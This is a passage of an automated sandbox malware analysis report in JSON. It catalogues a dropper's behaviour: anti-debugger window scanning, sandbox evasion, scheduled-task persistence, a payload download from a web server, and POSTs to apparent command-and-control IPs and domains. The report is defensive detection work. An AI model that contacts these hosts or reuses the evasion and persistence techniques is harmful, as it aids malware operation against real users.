\"00000000-00000560.00000001.263902.009EB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ffa05200d7a741017eb476eef981b041.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains reference to Sysinternals URL","description":"Found string \"File Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00000560-00000456-1030533\")\n Found string \"Process Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00000560-00000456-1030654\")\n Found string \"Registry Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00000560-00000456-1036198\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-262","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \":\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp\n \":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp\n \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp\n \"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\006700e5a2ab05704bbb0c589b88924d\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"DBWinMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"006700e5a2ab05704bbb0c589b88924d\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"ffa05200d7a741017eb476eef981b041.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:ffffffffc0000135]\n \"ffa05200d7a741017eb476eef981b041.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:ffffffffc0000135]\n \"ffa05200d7a741017eb476eef981b041.exe\" failed to load missing module \"api-ms-win-appmodel-runtime-l1-1-2\" - [base:0; Status:ffffffffc0000135]\n \"skotes.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:ffffffffc0000135]\n \"skotes.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:ffffffffc0000135]\n \"skotes.exe\" failed to load missing module \"api-ms-win-core-sysinfo-l1-2-1\" - [base:0; Status:ffffffffc0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00000516.00000000.270346.00DE0000.00000004.mdmp, 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\" (Indicator: \"user-agent: \"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /files/bonus_max/random.exe HTTP/1.1\" Response ==> HTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Tue\n 18 Feb 2025 06:44:16 GMT\nContent-Type: application/octet-stream\nContent-Length: 2109952\nLast-Modified: Tue\n 18 Feb 2025 05:14:47 GMT\nConnection: keep-alive\nETag: \"67b41747-203200\"\nAccept-Ranges: bytes with response body ==>4D5A78.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"5b5767e85f.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 729B0000\n \"5b5767e85f.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 72970000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"ffa05200d7a741017eb476eef981b041.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 756E0000\n \"skotes.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 756E0000\n \"5b5767e85f.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 756E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"ffa05200d7a741017eb476eef981b041.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"skotes.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"5b5767e85f.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$36","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"ffa05200d7a741017eb476eef981b041.exe\" has an executable section named \"\"\n \"ffa05200d7a741017eb476eef981b041.exe\" has an executable section named \"anzaecnx\"\n \"ffa05200d7a741017eb476eef981b041.exe\" has an executable section named \"xfnyaduc\"\n \"ffa05200d7a741017eb476eef981b041.exe\" has an executable section named \".taggant\"\n \"skotes.exe\" has an executable section named \"\"\n \"skotes.exe\" has an executable section named \"anzaecnx\"\n \"skotes.exe\" has an executable section named \"xfnyaduc\"\n \"skotes.exe\" has an executable section named \".taggant\"\n \"5b5767e85f.exe\" has an executable section named \"\"\n \"5b5767e85f.exe\" has an executable section named \"ksoobzjo\"\n \"5b5767e85f.exe\" has an executable section named \"pbkbyrow\"\n \"5b5767e85f.exe\" has an executable section named \".taggant\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$37","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$38","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"anzaecnx\" is \"0x1a9c00\" greater than 0x100000\n Raw size of \"ksoobzjo\" is \"0x1a5400\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"\" is \"0x2bf000\" greater than 0x100000\n Virtual size of \"anzaecnx\" is \"0x1aa000\" greater than 0x100000\n Virtual size of \"\" is \"0x2b5000\" greater than 0x100000\n Virtual size of \"ksoobzjo\" is \"0x1a6000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"skotes.exe\" (UID: 00000000-00002756) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"skotes.exe\" (UID: 00000000-00002756) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"friendseforever.help\"\n \"mercharena.biz\"\n \"shiningrstars.help\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"skotes.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"skotes.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"skotes.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"OLLYDBG\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"GBDYLLO\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"pediy06\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"FilemonClass\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for window \"File Monitor - Sysinternals: www.sysinternals.com\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"PROCMON_WINDOW_CLASS\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for window \"Process Monitor - Sysinternals: www.sysinternals.com\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"RegmonClass\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for window \"Registry Monitor - Sysinternals: www.sysinternals.com\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"18467-41\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"Regmonclass\"\n \"ffa05200d7a741017eb476eef981b041.exe\" searching for class \"Filemonclass\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"skotes.exe\" (UID: 00000000-00002756)\n Spawned process \"5b5767e85f.exe\" (UID: 00000000-00000516)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"skotes.exe\" (UID: 00000000-00002756)\n Spawned process \"5b5767e85f.exe\" (UID: 00000000-00000516)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 94:B1:3B:62:F2:37:BF:CF:1F:87:5D:B5:7F:1F:64:63:17:F8:FF:39; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"ffa05200d7a741017eb476eef981b041.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"skotes.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"5b5767e85f.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"ffa05200d7a741017eb476eef981b041.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\abc3bc1985\\skotes.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"ffa05200d7a741017eb476eef981b041.exe\" connecting to \"\\ThemeApiPort\"\n \"skotes.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"ffa05200d7a741017eb476eef981b041.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"skotes.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\abc3bc1985\\skotes.exe]- [targetUID: 00000000-00002756]\n \"5b5767e85f.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\1085426001\\5b5767e85f.exe]- [targetUID: 00000000-00002756]\n \"skotes.job\" has type \"VAX-order 68k Blit mpx/mux executable\"- Location: [%WINDIR%\\Tasks\\skotes.job]- [targetUID: 00000000-00000560]\n \"random_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\windows\\syswow64\\ntdll.dll\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\windows\\fonts\\staticcache.dat\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\ffa05200d7a741017eb476eef981b041.exe\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\searches\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\videos\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\pictures\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\contacts\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"c:\\users\\%osuser%\\favorites\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"\\REGISTRY\\USER\\S-1-5-21-686412048-2446563785-1323799475-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify sandbox environment running process\n Matched sigs: Able to identify virtual/sandbox environment\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Able to identify virtual/sandbox environment devices\n Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Possibly tries to evade analysis by sleeping many times","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"ffa05200d7a741017eb476eef981b041.exe\" writes file \"c:\\windows\\tasks\\skotes.job\"\n \"ffa05200d7a741017eb476eef981b041.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\abc3bc1985\\skotes.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"skotes.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /Zu7JuNko/index.php\" - (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00000560)\n \"skotes.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"skotes.exe\" called \"InternetReadFile\" with parameter 1023 (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$40","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"5b5767e85f.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"e37a70\"\n \"lpReserved\": \"0\"}\n \"5b5767e85f.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"e37a70\"\n \"lpReserved\": \"0\"\n \"$error\": \"2ee2\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"skotes.exe\" called \"InternetOpenA\" (UID: 00000000-00002756)\n \"skotes.exe\" called \"InternetOpenW\" (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /Zu7JuNko/index.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00002756-00000C29-3142440047\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00002756-00000C29-3142441077\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00000516.00000000.270346.00DE0000.00000004.mdmp\n 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"185.215.113.43\"\n \"185.215.113.75\"\n Potential IP \"0.0.1.1\" found in string \"xkzthTSxtF1T4184Lyko1E4AxklFDGxG6XGzL40xnO0-1739861068-0.0.1.1-/api\"\n \"2.5.29.35\"\n \"2.5.29.15\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.17\"\n \"2.5.29.32\"\n \"2.5.29.31\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.4\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n Potential IP \"0.0.1.1\" found in string \"Cookie: __cf_mw_byp=xkzthTSxtF1T4184Lyko1E4AxklFDGxG6XGzL40xnO0-1739861068-0.0.1.1-/api\"\n Potential IP \"64.124.12.162\" found in string \"\"\n Potential IP \"0.0.1.1\" found in string \"__cf_mw_byp=xkzthTSxtF1T4184Lyko1E4AxklFDGxG6XGzL40xnO0-1739861068-0.0.1.1-/api\"\n Potential IP \"0.0.1.1\" found in string \"\"\n \"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$41","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"i HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found string \"HTTP/1.1 403 Forbidden\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found string \"POST /api 